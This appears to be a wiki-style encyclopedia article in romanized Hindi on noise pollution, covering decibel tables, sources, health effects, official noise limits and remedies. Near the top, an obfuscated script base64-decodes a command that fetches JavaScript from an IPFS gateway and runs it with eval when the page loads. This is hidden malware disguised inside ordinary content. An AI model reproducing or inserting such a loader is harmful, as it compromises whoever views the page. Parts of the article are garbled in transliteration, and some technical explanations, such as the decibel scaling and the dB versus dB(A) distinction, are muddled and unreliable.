ध्वनि प्रदूषण

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vibhinn srotoan se utpann dhvani ki tivrata

srot	tivrata (desibal) db mean
sunane ki shuruat	0
hriday ki dh dakan, samany shvasan	10
samany phusaphusahat	20
ek mitar ki doori par divar gh di ki suee	30
samany avasiy kamare ya shant karyalay ki dhvani	40
samany bhojanalay evan samany yatayat ki dhvani	50
samany batachit ki dhvani	60
shant basti mean halke vahan ki dhvani	65
galiyoan mean shoragul	40-70
aspatal parisar	74
upanagariy bazar	75
vyast vyapak bastiyaan	80
ratri mean baiand bajane ki dhvani	82-94
kar harn, kharad mashin ki dhvani	82-94
motar kar, bas, motar saikil, skootar, trak, miksar graindar adi	90
havaee adde ke nikat ki basti	95
bas taiksi adi ka shor	104
ara mashi, bhari bhi d, jeta viman	100-110
utarate jahaj ki dhvani	120
bina saileansar ki motar saikil	130-150
raket ianjan ki dhvani	180-195

kampan karane vali pratyek vastu dhvani utpann karati hai aur jab dhvani ki tivrata adhik ho jati hai to vah kanoan ko apriy lagane lagati hai. is avaanchhaniy athava uchch tivrata vali dhvani ko shor kahate haian. shor se manushyoan mean ashanti tatha bechaini utpann hoti hai. sath hi sath karyakshamata par bhi pratikool prabhav p data hai. vastutah shor vah avaankshaniy dhvani hai jo manushy ko apriy lage tatha usamean bechaini tatha udvignata paida karati ho. prithak-prithakh vyaktiyoan mean udvignata paida karane vali dhvani ki tivrata alag-alag ho sakati hai. vayumandal mean avaanchhaniy dhvani ki maujoodagi ko hi 'dhvani pradooshan' kaha jata hai. dhvani pradooshan se hone vale khataroan ki gambhirata ko dekhakar nobel puraskar vijeta vaijnanik rabart koch ne ath dashak poorv pratikriya vyakt ki thi ki bhavishy mean ek din aisa aega, jab manushy ko svasthy ke sabase b de shatru ke roop mean shor se sanrghash karana p dega. kailiphorniya vishvavidyalay ke poorv chansalar d aau. varnanudasan ka mat hai ki shor ek dhimi gati vala mrityudand hai.

dhvani pradooshan ke srot

dhvani pradooshan mukhyatah do prakar ke srotoan se hota hai.

prakritik srot

bijali ki k dak, badaloan ki g dag dahat, tel havaean, ooanche sthan se girata jal, aandhi, toophan, jvalamukhi ka phatana evan uchch tivrata vali jal varsha adi.

kritrim srot

yah srot manav janit hai. udaharanarth- motar vahanoan se utpann hone vala shor, vayuyano se hone vala shor, relaga diyoan tatha unaki siti se hone vala shor, laudaspikaroan evan myoojik sistam se hone vala shor, taiparaitaro ki kh dakh dahat, teliphon ki ghanti adi se utpann hone vala shor adi.

dhvani star ka mapan

dhvani vijnan ko shravan vijnan kahate hai. dhvani ki samany mapan ikaee desibal sankshep mean db kahalati hai. desibal dhvani ki tivrata ki mapan ikaee hai. dhvani dab ki any mapan ikaee veted sauand presar ya bharit dhvani dab hai, jise sankshipt roop mean db(A) nam se jana jata hai. dhvani ki tivrata ke mapan ki do ikaiyoan db tatha db(A) mean moolabhoot aantar yah hai ki db dhvani tivrata ki map hai jabaki db(A) dhvani dab ki map hai.

desibal (db) mapak shoony se praranbh hota hai, jo samany manushy ke kan dvara suni ja sakane vali sarvadhik dhimi avaj ko pradarshit karata hai. desibal mapak mean prati das guna vriddhi ka matalab 10 db hai. yadi sarvadhik mand mapak par dhvani tivrata 10 db vriddhi hoti hai to desibal mapak dhvani tivrata 10 db hogi. yadi dhvani ki tivrata mean 100 guna vriddhi ho jati hai to vah 20 db hogi, 1000 guna vriddhi hane par dhvani ki tivrata desibal mapak par 30 db hogi.

dhvani mapan

dhvani srot	dhvani tivrata
shani r aauket tek aauph	200 db
5 sayaran	100 db
bhari vahan karakhana	80 db
samany bat	60 db
charcha	20 db
shravan dehali	0 db

shoony desibal se kshin avaj nahian suni ja sakati haian. manushy ke kan kam se kam shoony tatha adhik se adhik 180 desibal shor ki shrankhala ka samana kar sakate hai. 10 desibal samany manushy dvara saans lene se utpann dhvani tatha pattiyoan ki sarasarahat ko pradarshit karata hai. 20 desibal manushy ki phusaphusahat ko pradarshit karata hai. 50 se 55 desibal vali dhvani se niand mean khalal p d sakata hai. 90 se 96 desibal vali dhvani se manushy ke sharir ki na di pranali mean punah thik n kiye jane vale parivartan hone lagate haian. 150 se 160 desibal vali dhvaniyaan pranaghatak ho sakati haian. adhikatar deshoan mean dhvani ki adhikatam svikary sima 75 se 85 desibal nirdharit ki gee hai. isase adhik ki dhvaniyaan manav svasthy ke lie bahut hanikarak hoti haian. pro. gral ke anusar 150 desibal ki dhvani ek hi bar me manushy ko bahara bana sakati hai. 155 desibal ki dhvani tvacha ko jala sakati hai aur 185 desibal ki dhvani se mrityu tak ho sakati hai. lagatar 80 desibal ke shor mean rahane par manushy ki shravan shakti ko sthayi roop se nukasan pahuanch sakata hai.

dhvani pradooshan ka manav jivan par prabhav

dhvani pradooshan (shor) ka manav jivan par vyapak prabhav p data hai. lagatar shor mean rahane par manasik tanav, kuantha, chi dachi dapan, bolane mean vyavadhan, baichaini, niand ki kami adi samasyaean utpann ho jati haian jo manav jivan ko prabhavit karati haian. jin mazadooroan ko adhik shor me kam karana hota hai ve hriday rog, sharirik shithilata, raktachap adi anek rogoan se grast ho jate hai. shor se harmon sambandhi parivartan hote haian jinase sharir mean kee prakar ke parivartan ho jate haian. visphotoan tatha sonik bamoan ki achanak uchch dhvani se garbhavati mahilaoan mean garbhapat bhi ho sakata hai. lagatar shor mean rahane vali mahilao ke navajat shishuoan mean vikritiyaan utpann ho jati haian. dirgh avadhi mean dhvani pradooshan mean rahane vale logo mean nyoorotik mental dis aaurdar ho jata hai, maansapeshiyoan mean tanav tatha khianchav ho jata hai aur snayuoan mean uttejana paida ho jati hai. shor ke karan rakt me kolestral tatha kartijon ka star badh jata hai, jisase bahut se rogoan ki sambhavanaean badh jati haian. tivr shor ke karan vayumandal ka ghanatv badh jata hai. is sthiti ka samana karane ke lie manushy ko 1600 kailorij ki atirikt avashyakata hoti hai.

kendriy pradooshan niyantran bord dvara nirdharit 'manak dhvani'

kshetr	avadhi	adhikatam
avasiy kshetr	din	55 db
	rat	48 db
vyaparik kshetr	din	65 db
	rat	55 db
audyogik kshetr	din	75 db
	rat	70 db

dhvani pradooshan rokane ke upay

is bhautik vadi yug mean dhvani pradooshan ko rokana asan nahian, phir bhi kuchh tarike apanakar isako kam kiya ja sakata hai.

1. nirdharit sima se adhik shor utpann karane vale vahano par mukhy margoan evan avasiy kshetroan se nikalane par pratibandh lagaya jana chahie.
2. motar ke ianjano tatha any shor utpann karane vali mashino ki sanrachana is prakar ki jani chahie ki kam dhvani utpann ho.
3. kal karakhanoan ko shahari tatha avasiy bastiyoan se bahar sthapit kiya jana chahie.,
4. aise udyog jinamean shor kam n kiya ja sake, vahaan ke shramikoan ko karnaplag athava karnabandak pradan kiye jane chahie.
5. vahano ke saileansaro ki jaanch samay samay par ki jani chahie.,
6. baiand-bajoan, laudaspikaroan evan narebaji ko pratibandhit kiya jay.
7. rel dvara jo dhvani pradooshan hota hai, use gharshan dhvanirahit rel pathoan ke nirman se kam kiya ja sakata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh